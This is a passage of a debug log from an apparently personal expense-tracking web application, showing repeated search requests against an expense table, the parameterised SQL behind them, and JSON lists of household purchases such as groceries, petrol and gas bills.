      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-11T09:51:20.159Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-03-11T09:51:20.159Z server-connect:app Executing action step identify
2026-03-11T09:51:20.159Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:20.160Z server-connect:output identity: 1
2026-03-11T09:51:20.160Z server-connect:app Executing action step restrict
2026-03-11T09:51:20.160Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:20.160Z server-connect:output restrict: undefined
2026-03-11T09:51:20.160Z server-connect:app Executing action step select
2026-03-11T09:51:20.160Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-03-11T09:51:20.160Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-03-11T09:51:32.042Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:32.042Z server-connect:app Executing action step identify
2026-03-11T09:51:32.042Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:32.042Z server-connect:output identity: 1
2026-03-11T09:51:32.042Z server-connect:app Executing action step restrict
2026-03-11T09:51:32.042Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:32.043Z server-connect:output restrict: undefined
2026-03-11T09:51:32.043Z server-connect:app Executing action step paged
2026-03-11T09:51:32.043Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:32.060Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 8,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1182,
      quantity: '1.00',
      purchase_date: '2024-10-03T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '700.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1040,
      quantity: '1.00',
      purchase_date: '2024-04-30T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'JIO Recharge',
      unit: 'Other'
    },
    {
      invoice_number: 950,
      quantity: '1.00',
      purchase_date: '2023-07-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1080.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 830,
      quantity: '1.00',
      purchase_date: '2023-05-21T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1541.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 822,
      quantity: '1.00',
      purchase_date: '2023-05-20T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'Ice Cream',
      unit: 'Other'
    },
    {
      invoice_number: 635,
      quantity: '1.00',
      purchase_date: '2023-01-20T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2045.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 190,
      quantity: '1.00',
      purchase_date: '2020-08-07T18:30:00.000Z',
      receipt_url: null,
      remark: 'NULL Entry',
      amount: '0.00',
      item_name: 'Maxo refill',
      unit: 'Piece'
    }
  ]
}
2026-03-11T09:51:34.016Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:34.016Z server-connect:app Executing action step identify
2026-03-11T09:51:34.016Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:34.016Z server-connect:output identity: 1
2026-03-11T09:51:34.016Z server-connect:app Executing action step restrict
2026-03-11T09:51:34.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:34.017Z server-connect:output restrict: undefined
2026-03-11T09:51:34.017Z server-connect:app Executing action step paged
2026-03-11T09:51:34.017Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:34.023Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-11T09:51:36.965Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:36.965Z server-connect:app Executing action step identify
2026-03-11T09:51:36.965Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:36.965Z server-connect:output identity: 1
2026-03-11T09:51:36.965Z server-connect:app Executing action step restrict
2026-03-11T09:51:36.965Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:36.966Z server-connect:output restrict: undefined
2026-03-11T09:51:36.966Z server-connect:app Executing action step paged
2026-03-11T09:51:36.966Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:36.981Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1126,
      quantity: '1.00',
      purchase_date: '2024-09-11T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '99.00',
      item_name: 'Truecaller Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1040,
      quantity: '1.00',
      purchase_date: '2024-04-30T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'JIO Recharge',
      unit: 'Other'
    },
    {
      invoice_number: 822,
      quantity: '1.00',
      purchase_date: '2023-05-20T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'Ice Cream',
      unit: 'Other'
    },
    {
      invoice_number: 190,
      quantity: '1.00',
      purchase_date: '2020-08-07T18:30:00.000Z',
      receipt_url: null,
      remark: 'NULL Entry',
      amount: '0.00',
      item_name: 'Maxo refill',
      unit: 'Piece'
    }
  ]
}
2026-03-11T09:51:38.310Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:38.310Z server-connect:app Executing action step identify
2026-03-11T09:51:38.311Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:38.311Z server-connect:output identity: 1
2026-03-11T09:51:38.311Z server-connect:app Executing action step restrict
2026-03-11T09:51:38.311Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:38.311Z server-connect:output restrict: undefined
2026-03-11T09:51:38.311Z server-connect:app Executing action step paged
2026-03-11T09:51:38.312Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:38.321Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1126,
      quantity: '1.00',
      purchase_date: '2024-09-11T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '99.00',
      item_name: 'Truecaller Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1040,
      quantity: '1.00',
      purchase_date: '2024-04-30T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'JIO Recharge',
      unit: 'Other'
    },
    {
      invoice_number: 822,
      quantity: '1.00',
      purchase_date: '2023-05-20T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'Ice Cream',
      unit: 'Other'
    },
    {
      invoice_number: 190,
      quantity: '1.00',
      purchase_date: '2020-08-07T18:30:00.000Z',
      receipt_url: null,
      remark: 'NULL Entry',
      amount: '0.00',
      item_name: 'Maxo refill',
      unit: 'Piece'
    }
  ]
}
2026-03-11T09:51:39.426Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:39.426Z server-connect:app Executing action step identify
2026-03-11T09:51:39.426Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:39.426Z server-connect:output identity: 1
2026-03-11T09:51:39.426Z server-connect:app Executing action step restrict
2026-03-11T09:51:39.426Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:39.427Z server-connect:output restrict: undefined
2026-03-11T09:51:39.427Z server-connect:app Executing action step paged
2026-03-11T09:51:39.427Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:39.434Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-11T09:51:42.483Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:42.483Z server-connect:app Executing action step identify
2026-03-11T09:51:42.483Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:42.483Z server-connect:output identity: 1
2026-03-11T09:51:42.483Z server-connect:app Executing action step restrict
2026-03-11T09:51:42.484Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:42.484Z server-connect:output restrict: undefined
2026-03-11T09:51:42.484Z server-connect:app Executing action step paged
2026-03-11T09:51:42.484Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:42.499Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 21,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1151,
      quantity: '1.00',
      purchase_date: '2024-09-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '435.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1151,
      quantity: '1.00',
      purchase_date: '2024-09-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '361.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1143,
      quantity: '1.00',
      purchase_date: '2024-09-21T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '387.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1040,
      quantity: '1.00',
      purchase_date: '2024-04-30T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'JIO Recharge',
      unit: 'Other'
    },
    {
      invoice_number: 1004,
      quantity: '1.00',
      purchase_date: '2024-03-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1200.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 967,
      quantity: '1.00',
      purchase_date: '2023-07-02T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2040.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 860,
      quantity: '1.00',
      purchase_date: '2023-06-02T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2640.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 822,
      quantity: '1.00',
